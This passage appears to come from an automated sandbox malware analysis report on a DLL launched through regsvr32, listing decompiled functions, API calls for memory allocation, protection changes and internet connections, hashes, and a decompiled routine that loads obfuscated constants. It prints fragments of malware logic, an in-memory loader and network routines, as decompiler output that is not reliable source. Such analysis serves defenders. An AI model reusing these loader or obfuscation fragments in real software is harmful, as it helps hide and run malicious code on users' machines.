				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t389, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e70c
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785

Strings

', xrefs: 000007FEF9D3E70C
9, xrefs: 000007FEF9D3E988

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$9
API String ID: 1967237116-1823400153
Opcode ID: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction ID: 29668378713c93b892a0041d725b85e979c1ad93fe9cb8202607dd12c91b0faa
Opcode Fuzzy Hash: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction Fuzzy Hash: 0241C33660DA858AE7A18B19E8407AFB3E4F7C5752F100125E6D8C6AE8EBBDD4408F14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D3D7BF

Strings

_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D3D779
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp, xrefs: 000007FEF9D3D78E

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp
API String ID: 2480363372-1749241151
Opcode ID: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction ID: 04ee9255729ef7e149dbf43242f730f4bbed3ff16cc2c5ac2558ad9c7efde415
Opcode Fuzzy Hash: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction Fuzzy Hash: BC113D7AA2868686EBE49B94DC41B6D63E1F780755F205035E68E43BA4CB3DE404CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D41200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D4120D
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D4125E

Strings

csm, xrefs: 000007FEF9D4121D

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyedExceptionFindFrameObjectUnlink
String ID: csm
API String ID: 1826589669-1018135373
Opcode ID: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction ID: 9f3dc625307ec028be1fda2cc305f99b8c00c3b4febe2b6a2618c0b56fcdacc0
Opcode Fuzzy Hash: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction Fuzzy Hash: 61114232944681CADFA0DF79C8812BD27E4F795B88F615135EA5D877B1CB26D981C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F3E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D2F419

Strings

("Corrupted pointer passed to _freea", 0), xrefs: 000007FEF9D2F430
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h, xrefs: 000007FEF9D2F445

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock
String ID: ("Corrupted pointer passed to _freea", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h
API String ID: 2882679554-3458198949
Opcode ID: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction ID: d33f1896f8d52307a9012ea76dc3fce74adc3acb1f5112dbea688671cc213a85
Opcode Fuzzy Hash: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction Fuzzy Hash: 3B01F431A1C78286EBD09B6AE88576EB3D4F390350F614535E6CD43FA9DBBED4058B01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2624, Parent PID: 2688COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4%
Total number of Nodes:	99
Total number of Limit Nodes:	14

Executed Functions

Function 00130000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 00130450
GetNativeSystemInfo.KERNEL32 ref: 00130539
VirtualAlloc.KERNEL32 ref: 00130580
VirtualProtect.KERNEL32 ref: 001309E9

Strings

ofRe, xrefs: 00130318
urce, xrefs: 00130340
Size, xrefs: 00130311
aryA, xrefs: 001300D8
hIns, xrefs: 0013011A
urce, xrefs: 00130304
Reso, xrefs: 001302DB
urce, xrefs: 0013035D
ualA, xrefs: 001300E8
ativ, xrefs: 0013013D
ncti, xrefs: 0013016A
Load, xrefs: 001300C8
sour, xrefs: 0013031F
Reso, xrefs: 001302FC
lloc, xrefs: 001300F0
Virt, xrefs: 001300F8
Lock, xrefs: 00130330
onTa, xrefs: 00130171
Libr, xrefs: 001300D0
Slee, xrefs: 001300B7
Virt, xrefs: 001300E0
Reso, xrefs: 00130338
temI, xrefs: 0013014B
Load, xrefs: 001302F4
rote, xrefs: 00130106
Cach, xrefs: 0013012F
eSys, xrefs: 00130144
GetN, xrefs: 00130136
Reso, xrefs: 00130355
ualP, xrefs: 001300FF
truc, xrefs: 00130121
tion, xrefs: 00130128
urce, xrefs: 001302E7
Free, xrefs: 0013034D
Find, xrefs: 001302D0
ddFu, xrefs: 00130163
RtlA, xrefs: 0013015C
Flus, xrefs: 00130113

Memory Dump Source

Source File: 00000004.00000002.1346163390.0000000000130000.00000040.00001000.00020000.00000000.sdmp, Offset: 00130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_130000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: c3ad375b28d4005cd65bc3de3fd702d44b77b28fe8b76393b77b528eb6f720f0
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: CF72D470618B488FDB2ADF18C8956B9B7E1FB98305F10462DE8CAD7211DB34D986CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800248B0 Relevance: 4.1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

X, xrefs: 0000000180024D6B
O}, xrefs: 0000000180024AB3
bW, xrefs: 0000000180024E6B

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O}$X$bW
API String ID: 0-980370356
Opcode ID: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction ID: a62d154362f2d503ef0efb6b3a203e4a1ee478d45050cbe1ab820923c54e17f6
Opcode Fuzzy Hash: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction Fuzzy Hash: AA02F4715087C88BD799CFA8C48A69EFBE1FB98744F104A1DF4868B260D7F4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HG, xrefs: 0000000180006E14
"Gd, xrefs: 0000000180006E8F
C2, xrefs: 0000000180006EBC

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006F2C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

e##, xrefs: 0000000180007141
$!, xrefs: 00000001800070F4

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $!$e##
API String ID: 0-2900154246
Opcode ID: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction ID: 216da8bcfa57d9aa83ad41f20fe658cab1eb670466840fb7186bd91b9371edf3
Opcode Fuzzy Hash: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction Fuzzy Hash: 7B8190705187889BD7E8DF14C4C979EBBE1FB98344F905A1CF89A8B261CB74C948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002446C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 0000000180024567

Strings

Z*, xrefs: 00000001800244B6
Va, xrefs: 000000018002452C
&J@, xrefs: 00000001800244C7

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID: &J@$Va$Z*
API String ID: 2038078732-1197100596
Opcode ID: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction ID: 28a15b3c09fe6a2aa9f5eb42736a691d582ff290fd3432c8dba93e18a197623f
Opcode Fuzzy Hash: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction Fuzzy Hash: 8A212F715187898FD3A8DF28C0493ABB7E1FB98319F408A1DE4CAC6391DB799448CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001BF0C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000000018001C04A

Strings

`/, xrefs: 000000018001BFA5

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: `/
API String ID: 823142352-1163903809
Opcode ID: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction ID: f11eb3e7a352e1f1819d3b1e5829977cbaca57bf71308e5d5317c3bcacfeb84e
Opcode Fuzzy Hash: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction Fuzzy Hash: 6C3137B061CB848FD364DF18D48579ABBE0FB88314F504A2EE88DC3362DB749845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016500 Relevance: 1.6, APIs: 1, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 0000000180016662

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction ID: 6bd4319daaf70d9cfa93cd172db4ac0144cd1887b423fd46bbb7d9a578168b32
Opcode Fuzzy Hash: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction Fuzzy Hash: 8C41F7705087848FC7B8DF58D48579ABBE0FB98315F108A5EE48DD7361DB749884CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017BF8 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 0000000180017D42

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction ID: e87697cfd510fd4059a611545946932b1d04e28e1a34b551021fd5cd6805f499
Opcode Fuzzy Hash: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction Fuzzy Hash: AB31E770618B888FD7B8CF68D4857AAB7E1FB89315F508A1EE48DC7251CB749845CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800149CC Relevance: 1.6, APIs: 1, Instructions: 91networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestW.WININET ref: 0000000180014B07

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID:
API String ID: 1984915467-0
Opcode ID: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction ID: c8d36c456ba033a28ec6fbd746a54a3663befea28eedef4c15a9fc959fe4c155
Opcode Fuzzy Hash: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction Fuzzy Hash: D331607050CB848BE7B4DF08D4C9B9AB7E0FB98315F108A4DE48DD7296CB789484CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011EF8 Relevance: 1.6, APIs: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 000000018001202C

Memory Dump Source

Source File: 00000004.00000002.1347157002.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction ID: 87f7a9be59381a5b3d954798ed335bb6745bcd8ebd0cdd375d804fe942fcfa66
Opcode Fuzzy Hash: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction Fuzzy Hash: 7A312B7160CB848FDBA8DF18E48579AB7E1FB98314F10465EE88CC7396DB309984CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 1136, Parent PID: 808COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	0%
Total number of Nodes:	1707
Total number of Limit Nodes:	20

Executed Functions

Function 000007FEF7521964 Relevance: 522.6, APIs: 14, Strings: 283, Instructions: 2832
memorywindowCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000007FE7FEF7521964() {
				void* _t1421;
				void* _t1645;
				void* _t1650;
				signed long long _t1651;
				signed long long _t1652;
				long long _t1653;
				void* _t1870;
				void* _t2526;
				long long _t2744;
				long long _t2746;
				void* _t2748;
				intOrPtr* _t2749;
				void* _t2750;
				signed long long _t2751;
				void* _t2755;
				void* _t2756;
				void* _t2757;
				void* _t2758;

				_t1650 = _t2750;
				 *((long long*)(_t1650 + 0x10)) = _t1653;
				 *((long long*)(_t1650 + 0x18)) = _t2746;
				 *((long long*)(_t1650 + 0x20)) = _t2744;
				_t2749 = _t1650 - 0xb48;
				_t2751 = _t2750 - 0xc20;
				_t1651 =  *0xf7540610; // 0x6ebcbb99ef5b
				_t1652 = _t1651 ^ _t2751;
				 *(_t2749 + 0xb10) = _t1652;
				_t2745 = _t1870;
				if (_t1645 != 0) goto 0xf7525639;
				 *((intOrPtr*)(_t2751 + 0x50)) = 0x650efe0a;
				 *((intOrPtr*)(_t2751 + 0x54)) = 0x1360335d;
				 *((intOrPtr*)(_t2751 + 0x58)) = 0x7639130e;
				r15d = 0;
				 *((intOrPtr*)(_t2751 + 0x5c)) = 0x72000339;
				 *((intOrPtr*)(_t2751 + 0x60)) = 0xfdb86107;
				 *((intOrPtr*)(_t2751 + 0x64)) = 0xbd887a24;
				 *((intOrPtr*)(_t2751 + 0x68)) = 0xdfe71dbe;
				r13d = _t2526 + 0x6d;
				 *((intOrPtr*)(_t2751 + 0x6c)) = 0x6d52588d;
				 *((intOrPtr*)(_t2751 + 0x70)) = 0x1385ac04;
				 *((intOrPtr*)(_t2751 + 0x74)) = 0x50293b3b;
				 *((intOrPtr*)(_t2751 + 0x78)) = 0x9ec94c51;
				 *((intOrPtr*)(_t2751 + 0x7c)) = 0x2410c80a;
				 *((intOrPtr*)(_t2749 - 0x80)) = 0x17d08c00;
				 *((intOrPtr*)(_t2749 - 0x7c)) = 0xfe57f27;
				r14d = _t2526 + 0x64;
				 *((intOrPtr*)(_t2749 - 0x78)) = 0x64d97b7e;
				 *((intOrPtr*)(_t2749 - 0x74)) = 0xf891935;
				 *((intOrPtr*)(_t2749 - 0x70)) = 0x14cc064f;
				 *((intOrPtr*)(_t2749 - 0x6c)) = 0x14cc7b03;
				 *((intOrPtr*)(_t2749 - 0x68)) = 0x21be252a;
				 *((intOrPtr*)(_t2749 - 0x64)) = 0x1dba1e72;
				 *((intOrPtr*)(_t2749 - 0x60)) = 0x8dd87d09;
				 *((intOrPtr*)(_t2749 - 0x5c)) = 0x414277c2;
				 *((intOrPtr*)(_t2749 - 0x58)) = 0x157eef1d;
				 *((intOrPtr*)(_t2749 - 0x54)) = 0x6f20db11;
				 *((intOrPtr*)(_t2749 - 0x50)) = 0x531bcb24;
				 *((intOrPtr*)(_t2749 - 0x4c)) = 0x3978a018;
				 *((intOrPtr*)(_t2749 - 0x48)) = 0x323acb48;
				 *((intOrPtr*)(_t2749 - 0x44)) = 0x732bdc27;
				 *((intOrPtr*)(_t2749 - 0x40)) = 0x491ed023;
				 *((intOrPtr*)(_t2749 - 0x3c)) = 0xca51d517;
				 *((intOrPtr*)(_t2749 - 0x38)) = 0xbd6ded8c;
				 *((intOrPtr*)(_t2749 - 0x34)) = 0xff06fc14;
				 *((intOrPtr*)(_t2749 - 0x30)) = 0xef33a307;
				 *((intOrPtr*)(_t2749 - 0x2c)) = 0xdb110b76;
				 *((intOrPtr*)(_t2749 - 0x28)) = 0xcb4e1329;
				 *((intOrPtr*)(_t2749 - 0x24)) = 0x4f7a1712;
				 *((intOrPtr*)(_t2749 - 0x20)) = 0x6c2415bc;
				 *((intOrPtr*)(_t2749 - 0x1c)) = 0x274d07b0;
				 *((intOrPtr*)(_t2749 - 0x18)) = 0x9e455d66;
				 *((intOrPtr*)(_t2749 - 0x14)) = 0x6c527d17;
				 *((intOrPtr*)(_t2749 - 0x10)) = 0x15f4562e;
				 *((intOrPtr*)(_t2749 - 0xc)) = 0x3251063d;
				 *((intOrPtr*)(_t2749 - 8)) = 0x5907b042;
				 *((intOrPtr*)(_t2749 - 4)) = 0x4557667b;
				 *_t2749 = 0x5b71179e;
				 *((intOrPtr*)(_t2749 + 4)) = 0xf4562e6c;
				 *((intOrPtr*)(_t2749 + 8)) = 0x513401d5;
				 *((intOrPtr*)(_t2749 + 0xc)) = 0x271b1100;
				 *((intOrPtr*)(_t2749 + 0x10)) = 0x1fe39324;
				 *((intOrPtr*)(_t2749 + 0x14)) = 0x1d525944;
				 *((intOrPtr*)(_t2749 + 0x18)) = 0x1e6628f0;
				 *((intOrPtr*)(_t2749 + 0x1c)) = 0x51483f7f;
				 *((intOrPtr*)(_t2749 + 0x20)) = 0x3b664496;
				 *((intOrPtr*)(_t2749 + 0x24)) = 0x1437280e;
				 *((intOrPtr*)(_t2749 + 0x28)) = 0x27d01f4;
				 *((intOrPtr*)(_t2749 + 0x2c)) = 0x315450c;
				 *((intOrPtr*)(_t2749 + 0x30)) = 0x11747791;
				 *((intOrPtr*)(_t2749 + 0x34)) = 0x36723863;
				 *((intOrPtr*)(_t2749 + 0x38)) = 0x696506b0;
				 *((intOrPtr*)(_t2749 + 0x3c)) = 0x18295213;
				 *((intOrPtr*)(_t2749 + 0x40)) = 0x2c132995;
				 *((intOrPtr*)(_t2749 + 0x44)) = 0x335c3a2e;
				 *((intOrPtr*)(_t2749 + 0x48)) = 0x56d970ee;
				 *((intOrPtr*)(_t2749 + 0x4c)) = 0x8636052b;
				 *((intOrPtr*)(_t2749 + 0x50)) = 0x2446ea10;
				 *((intOrPtr*)(_t2749 + 0x54)) = 0x72aa0235;
				 *((intOrPtr*)(_t2749 + 0x58)) = 0x473930fc;
				 *((intOrPtr*)(_t2749 + 0x5c)) = 0x14f24f35;
				 *((intOrPtr*)(_t2749 + 0x60)) = 0x85032194;
				 *((intOrPtr*)(_t2749 + 0x64)) = 0x5f20bd04;
				 *((intOrPtr*)(_t2749 + 0x68)) = 0x28952a30;
				 *((intOrPtr*)(_t2749 + 0x6c)) = 0x380b04db;
				 *((intOrPtr*)(_t2749 + 0x70)) = 0xc56c9740;
				 *((intOrPtr*)(_t2749 + 0x74)) = 0x14377225;
				 *((intOrPtr*)(_t2749 + 0x78)) = 0x12a10485;
				 *((intOrPtr*)(_t2749 + 0x7c)) = 0x95372a5a;
				 *((intOrPtr*)(_t2749 + 0x80)) = 0x232fcf28;
				 *((intOrPtr*)(_t2749 + 0x84)) = 0x6c975b35;
				 *((intOrPtr*)(_t2749 + 0x88)) = 0x3665168d;
				 *((intOrPtr*)(_t2749 + 0x8c)) = 0xe9048539;
				 *((intOrPtr*)(_t2749 + 0x90)) = 0x2f2c4707;
				 *((intOrPtr*)(_t2749 + 0x94)) = 0x9f72895;
